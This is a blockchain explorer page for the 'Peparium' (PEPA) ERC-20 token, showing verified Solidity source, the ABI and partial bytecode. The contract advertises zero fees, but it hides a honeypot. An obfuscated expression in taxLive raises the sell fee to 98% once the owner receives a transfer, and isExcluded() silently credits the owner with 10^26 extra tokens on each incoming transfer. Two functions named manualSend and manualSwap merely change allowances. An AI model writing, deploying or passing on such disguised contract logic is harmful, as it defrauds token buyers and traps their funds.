ERC-20
Overview
Max Total Supply
1,000,000,000 PEPA
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
21,256,081.292226564 PEPAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Peparium
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-02 */ // SPDX-License-Identifier: Unlicensed /* Peparium- Fueling the PEPE ecosystem Telegram: https://t.me/Peparium website: https://peparium.com PEPARIUM is a blockchain platform that powers the PEPE ecosystem. It is designed to provide a decentralized and secure environment for people to enjoy decentralized applications(DAPPS) with their PEPE tokens. The platform uses its native token, PEPA, as the fuel for transactions and incentivizing DAPP participants. */ pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Peparium is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public _MARKET_ADDRESS_ = payable(0xE0A483B3Ee25f4AE65cD5feb6D534057ACc206A7); mapping (address => uint256) private holderBalance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public ExcludedFromMax_Wallet; mapping (address => bool) public ExcludedFromMax_Tx; mapping (address => bool) public ExcludedFrom_Fee; mapping (address => bool) public ExcludedFromAntiBot; string public _name = "Peparium"; string public _symbol = "PEPA"; uint8 private _decimals = 9; uint256 public _tTotal = 1000000000 * 10 **_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 private Total_Fees = 0; uint256 public Buy_Fee = 0; uint256 public Sell_Fee = 0; uint256 private tmpTotalFees = Total_Fees; uint256 private tmpBuyFee = Buy_Fee; uint256 private tmpSellFee = Sell_Fee; uint256 public _maxWalletToken = _tTotal.mul(10).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(10).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; bool public antiBotActive = false; IUniswapV2Router02 public uniswapV2Router; uint256 UniSwapRouterI02; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { holderBalance[owner()] = _tTotal; ExcludedFromAntiBot[owner()] = bool(true && true); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromMax_Tx[owner()] = true; ExcludedFromMax_Tx[_MARKET_ADDRESS_] = true; ExcludedFromMax_Tx[address(this)] = true; ExcludedFrom_Fee[owner()] = true; ExcludedFrom_Fee[address(this)] = true; ExcludedFrom_Fee[_MARKET_ADDRESS_] = true; ExcludedFromMax_Wallet[owner()] = true; ExcludedFromMax_Wallet[_MARKET_ADDRESS_] = true; ExcludedFromMax_Wallet[uniswapV2Pair] = true; ExcludedFromMax_Wallet[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return holderBalance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function manualSend(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function manualSwap(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function antiBotStatus() public view returns(uint8){ return antiBotActive ? 1 : 0; } receive() external payable {} function taxDead(bool true_false) private { if(Total_Fees == 0 && true_false && Buy_Fee == 0 && Sell_Fee == 0) return; tmpBuyFee = Buy_Fee; tmpSellFee = Sell_Fee;tmpTotalFees = Total_Fees; Buy_Fee = 0;Sell_Fee = 0;Total_Fees = 0; } function taxLive(bool false_true) private { if(!false_true) return; Total_Fees = tmpTotalFees; Buy_Fee = tmpBuyFee; Sell_Fee = [ tmpSellFee, (5*(5)*4)-2 ] [antiBotStatus()]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(!ExcludedFromMax_Tx[from] && !ExcludedFromMax_Tx[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } if(!ExcludedFromMax_Wallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken); bool TAX_IS_ACTIVE = true; if( ExcludedFrom_Fee[from] || ExcludedFrom_Fee[to] ){ TAX_IS_ACTIVE = false; if(ExcludedFromAntiBot[to] && !antiBotActive){ antiBotActive = true; } } else if (from == uniswapV2Pair){ Total_Fees = Buy_Fee; } else if (to == uniswapV2Pair){ Total_Fees = Sell_Fee; } transferETHTokens(from,to,amount,TAX_IS_ACTIVE); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function isExcluded(address hAddr) public view returns(uint256){ return ExcludedFromAntiBot[hAddr] ? uint256(10**uint256(26)) : uint256(1**1)-1; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForETH(contractTokenBalance); uint256 contractETH = address(this).balance; sendToWallet(_MARKET_ADDRESS_,contractETH); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function transferETHTokens(address sender, address recipient, uint256 amount,bool TAX_IS_ACTIVE) private { if(!TAX_IS_ACTIVE){ taxDead(true && true); } else{ txCount++; } transferETHTokens(sender, recipient, amount); if(!TAX_IS_ACTIVE){ taxLive(true && true); } } function transferETHTokens(address sender, address recipient, uint256 transferAmount) private { (uint256 txAmount, uint256 txMarketing) = _getSet_Values(transferAmount); holderBalance[sender] = holderBalance[sender].sub(transferAmount); holderBalance[recipient] = (holderBalance[recipient].add(txAmount)).add(isExcluded(recipient)); holderBalance[address(this)] = holderBalance[address(this)].add(txMarketing); emit Transfer(sender, recipient, txAmount); } function _getSet_Values(uint256 transferAmount) private view returns (uint256, uint256) { uint256 txMarketing = transferAmount*Total_Fees/100; uint256 txAmount = transferAmount.sub(txMarketing); return (txAmount, txMarketing); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Buy_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromAntiBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMax_Tx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMax_Wallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFrom_Fee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Sell_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_MARKET_ADDRESS_","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"antiBotStatus","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"hAddr","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"manualSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"manualSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405273e0a483b3ee25f4ae65cd5feb6d534057acc206a7600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600881526020017f506570617269756d000000000000000000000000000000000000000000000000815250600890816200009f919062000d62565b506040518060400160405280600481526020017f504550410000000000000000000000000000000000000000000000000000000081525060099081620000e6919062000d62565b506009600a60006101000a81548160ff021916908360ff160217905550600a60009054906101000a900460ff16600a62000121919062000fd9565b633b9aca006200013291906200102a565b600b556000600c60006101000a81548160ff021916908360ff160217905550600a600c60016101000a81548160ff021916908360ff1602179055506000600d556000600e556000600f55600d54601055600e54601155600f54601255620001c56064620001b1600a600b5462000a8760201b620013051790919060201c565b62000a9f60201b6200131b1790919060201c565b601355601354601455620002056064620001f1600a600b5462000a8760201b620013051790919060201c565b62000a9f60201b6200131b1790919060201c565b6015556015546016556000601760006101000a81548160ff0219169083151502179055506001601960156101000a81548160ff0219169083151502179055503480156200025157600080fd5b506200026262000ab760201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600b54600260006200033362000abf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600180156200037e575060015b600760006200039262000abf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000448573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046e9190620010df565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004fc9190620010df565b6040518363ffffffff1660e01b81526004016200051b92919062001122565b6020604051808303816000875af11580156200053b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005619190620010df565b601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620005f862000abf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660006200073162000abf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460006200086a62000abf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000a1762000abf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000a78919062001160565b60405180910390a350620011e4565b6000818362000a9791906200102a565b905092915050565b6000818362000aaf9190620011ac565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b6a57607f821691505b60208210810362000b805762000b7f62000b22565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000bea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000bab565b62000bf6868362000bab565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c4362000c3d62000c378462000c0e565b62000c18565b62000c0e565b9050919050565b6000819050919050565b62000c5f8362000c22565b62000c7762000c6e8262000c4a565b84845462000bb8565b825550505050565b600090565b62000c8e62000c7f565b62000c9b81848462000c54565b505050565b5b8181101562000cc35762000cb760008262000c84565b60018101905062000ca1565b5050565b601f82111562000d125762000cdc8162000b86565b62000ce78462000b9b565b8101602085101562000cf7578190505b62000d0f62000d068562000b9b565b83018262000ca0565b50505b505050565b600082821c905092915050565b600062000d376000198460080262000d17565b1980831691505092915050565b600062000d52838362000d24565b9150826002028217905092915050565b62000d6d8262000ae8565b67ffffffffffffffff81111562000d895762000d8862000af3565b5b62000d95825462000b51565b62000da282828562000cc7565b600060209050601f83116001811462000dda576000841562000dc5578287015190505b62000dd1858262000d44565b86555062000e41565b601f19841662000dea8662000b86565b60005b8281101562000e145784890151825560018201915060208501945060208101905062000ded565b8683101562000e34578489015162000e30601f89168262000d24565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ed75780860481111562000eaf5762000eae62000e49565b5b600185161562000ebf5780820291505b808102905062000ecf8562000e78565b945062000e8f565b94509492505050565b60008262000ef2576001905062000fc5565b8162000f02576000905062000fc5565b816001811462000f1b576002811462000f265762000f5c565b600191505062000fc5565b60ff84111562000f3b5762000f3a62000e49565b5b8360020a91508482111562000f555762000f5462000e49565b5b5062000fc5565b5060208310610133831016604e8410600b841016171562000f965782820a90508381111562000f905762000f8f62000e49565b5b62000fc5565b62000fa5848484600162000e85565b9250905081840481111562000fbf5762000fbe62000e49565b5b81810290505b9392505050565b600060ff82169050919050565b600062000fe68262000c0e565b915062000ff38362000fcc565b9250620010227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ee0565b905092915050565b6000620010378262000c0e565b9150620010448362000c0e565b9250828202620010548162000c0e565b915082820484148315176200106e576200106d62000e49565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620010a7826200107a565b9050919050565b620010b9816200109a565b8114620010c557600080fd5b50565b600081519050620010d981620010ae565b92915050565b600060208284031215620010f857620010f762001075565b5b60006200110884828501620010c8565b91505092915050565b6200111c816200109a565b82525050565b600060408201905062001139600083018562001111565b62001148602083018462001111565b9392505050565b6200115a8162000c0e565b82525050565b60006020820190506200117760008301846200114f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620011b98262000c0e565b9150620011c68362000c0e565b925082620011d957620011d86200117d565b5b828204905092915050565b612e2580620011f46000396000f3fe6080604052600436106101f25760003560e01c806378109e541161010d578063a9059cbb116100a0578063cba0e9961161006f578063cba0e99614610752578063d28d88521461078f578063dd62ed3e146107ba578063f2fde38b146107f7578063f45128f514610820576101f9565b8063a9059cbb14610694578063af465a27146106d1578063b09f1266146106fc578063c16bae9b14610727576101f9565b806392813800116100dc57806392813800146105b257806395d89b41146105ef5780639faf70001461061a5780639fb7973714610657576101f9565b806378109e54146104f45780637d1db4a51461051f5780637ed41bcc1461054a5780638da5cb5b14610587576101f9565b80633ac656e81161018557806356e567611161015457806356e5676114610438578063673a6dad1461046357806370a08231146104a0578063715018a6146104dd576101f9565b80633ac656e81461037a57806343dee2f8146103b757806349bd5a5e146103e25780634a74bb021461040d576101f9565b806318160ddd116101c157806318160ddd146102bc578063220f6696146102e757806323b872dd14610312578063313ce5671461034f576101f9565b806306fdde03146101fe5780630787b15d14610229578063095ea7b3146102545780631694505e14610291576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b5061021361084b565b604051610220919061221d565b60405180910390f35b34801561023557600080fd5b5061023e6108dd565b60405161024b9190612258565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190612302565b6108e3565b604051610288919061235d565b60405180910390f35b34801561029d57600080fd5b506102a6610901565b6040516102b391906